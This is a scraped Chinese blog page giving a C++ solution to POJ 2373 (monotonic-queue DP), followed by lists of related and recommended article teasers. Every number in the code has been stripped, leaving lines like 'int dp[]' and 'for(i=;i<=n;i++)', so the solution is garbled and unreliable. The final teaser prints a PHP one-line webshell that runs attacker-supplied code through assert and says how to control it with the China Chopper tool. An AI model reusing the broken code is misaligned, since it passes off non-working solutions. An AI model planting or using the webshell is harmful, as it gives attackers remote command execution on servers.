poj 2373 单调队列优化背包
思路:我们用单调队列保存2*b<=i-j<=2*a中的最大值。那么队列头就是最大值,如果队头的标号小于i-2*b的话,就出队,后面的肯定用不到它了。
#include<iostream>
#include<cstdio>
#include<cstring>
#include<algorithm>
#include<cmath>
#define inf 10000010
#define Maxn 1010
#define Min(a,b) (a)>(b)?(b):(a)
using namespace std;
int dp[],que[],head,rear,interv[];
struct Inter{
int l,r;
int operator<(const Inter &temp) const
{
return l<temp.l;
}
}p[Maxn];
int main()
{
int n,l,i,j,t,a,b;
while(scanf("%d%d",&n,&l)!=EOF)
{
scanf("%d%d",&a,&b);
memset(interv,,sizeof(interv));
for(i=;i<=n;i++)
{
scanf("%d%d",&p[i].l,&p[i].r);
memset(interv+p[i].l+,,(p[i].r-p[i].l-)*sizeof(interv[]));
}
dp[]=;
head=,rear=;
for(i=;i<=l;i++)
{
dp[i]=inf;
j=i-*a;
if(j<) continue;
while(head<=rear&&dp[j]<=dp[que[rear]])
rear--;
if(interv[j])
que[++rear]=j;
if(que[head]<i-*b&&head<=rear)
head++;
if(!interv[i]||(i&)) continue;
if(head<=rear)
dp[i]=dp[que[head]]+;
}
if(dp[l]>=inf) printf("-1\n");
else printf("%d\n",dp[l]);
}
return ;
}
poj 2373 单调队列优化背包的更多相关文章
- POJ 2373 单调队列优化DP
题意: 思路: f[i] = min(f[j]) + 1; 2 * a <= i - j <= 2 *b: i表示当前在第i个点.f[i]表示当前最少的线段个数 先是N^2的朴素DP(果断 ...
- POJ - 1821 单调队列优化DP + 部分笔记
题意:n个墙壁m个粉刷匠,每个墙壁至多能被刷一次,每个粉刷匠要么不刷,要么就粉刷包含第Si块的长度不超过Li的连续墙壁(中间可不刷),每一块被刷的墙壁都可获得Pi的利润,求最大利润 避免重复粉刷: 首 ...
- poj 3017 单调队列优化动态规划
思路:dp[i]=min{dp[j]+max(num[j+1]...num[i])},其中sum[i]-sum[j]<=m. 那么我们需要用单调队列维护j到i的最大值. #include< ...
- poj 1821 Fence 单调队列优化dp
/* poj 1821 n*n*m 暴力*/ #include<iostream> #include<cstdio> #include<cstring> #incl ...
- 【POJ】2373 Dividing the Path(单调队列优化dp)
题目 传送门:QWQ 分析 听说是水题,但还是没想出来. $ dp[i] $为$ [1,i] $的需要的喷头数量. 那么$ dp[i]=min(dp[j])+1 $其中$ j<i $ 这是个$ ...
- POJ 1742 (单调队列优化多重背包+混合背包)
(点击此处查看原题) 题意分析 给你n种不同价值的硬币,价值为val[1],val[2]...val[n],每种价值的硬币有num[1],num[2]...num[n]个,问使用这n种硬币可以凑齐[1 ...
- 【POJ1276】Cash Machine(多重背包单调队列优化)
大神博客转载http://www.cppblog.com/MatoNo1/archive/2011/07/05/150231.aspx多重背包的单调队列初中就知道了但一直没(不会)写二进制优化初中就写 ...
- 单调队列优化DP,多重背包
单调队列优化DP:http://www.cnblogs.com/ka200812/archive/2012/07/11/2585950.html 单调队列优化多重背包:http://blog.csdn ...
- 使用单调队列优化的 O(nm) 多重背包算法
我搜索了一下,找到了一篇很好的博客,讲的挺详细:链接. 解析 多重背包的最原始的状态转移方程: 令 c[i] = min(num[i], j / v[i]) f[i][j] = max(f[i-1][ ...
随机推荐
- thymeleaf中的th:each用法
一.th:eath迭代集合用法: <table> <thead> <tr> <th>序号</th> <th>用户名</th ...
- [iOS基础控件 - 6.9.2] 静态单元格 QQ功能列表
使用storyboard设计静态的表格数据 A.实现步骤 1.控制器继承UITableViewController 2.在storyboard中使用TableViewController,删除原来 ...
- C#中Internal class与静态类说明
C#中的internal访问修饰符表示 访问仅限于当前程序集 但是注意,internal修饰符修饰的类中,可以有public的成员变量和成员方法等 Static 关键字作为修饰符可以用于类.方法和成员 ...
- POJ 2186 Popular Cows(强连通分量缩点)
题目链接:http://poj.org/problem?id=2186 题目意思大概是:给定N(N<=10000)个点和M(M<=50000)条有向边,求有多少个“受欢迎的点”.所谓的“受 ...
- OGNL stack value 值栈(主要参考官方手册)
The framework uses a standard naming context to evaluate OGNL expressions. The top level object deal ...
- dao 获取表最大排序实现
public Long getMaxOrder(Long parentId) { Query query = this.getSession().createSQLQuery( "selec ...
- Android---App Widget(四)
接收App Widget广播的Intent对象 AppWidgetProvider只是一个便利的类,如果你想要直接接收App Widget广播,你可以实现自己的BroadcastReceiver类或重 ...
- oracle分区表相关
1.查询某个表各分区数据量 select count(*) from table_name partition(分区名) 可以使用sql生成所有分区查询语句: 2.分区表truncate 分区 alt ...
- 如何将mysql表结构导出成Excel格式的(并带备注)
http://www.liangchan.net/liangchan/4561.html 1.使用一个mysql管理工具:SQLyog,点击菜单栏“数据库”下拉的最后一项: 导出的格式如下: 2.要想 ...
- 关于php一句话免杀的分析<转载>
一开始想这样: <?php $_GET['ts7']($_POST['cmd']);?> 客户端用菜刀,密码cmd,url为test.php?ts7=assert 这个应该算没有什 ...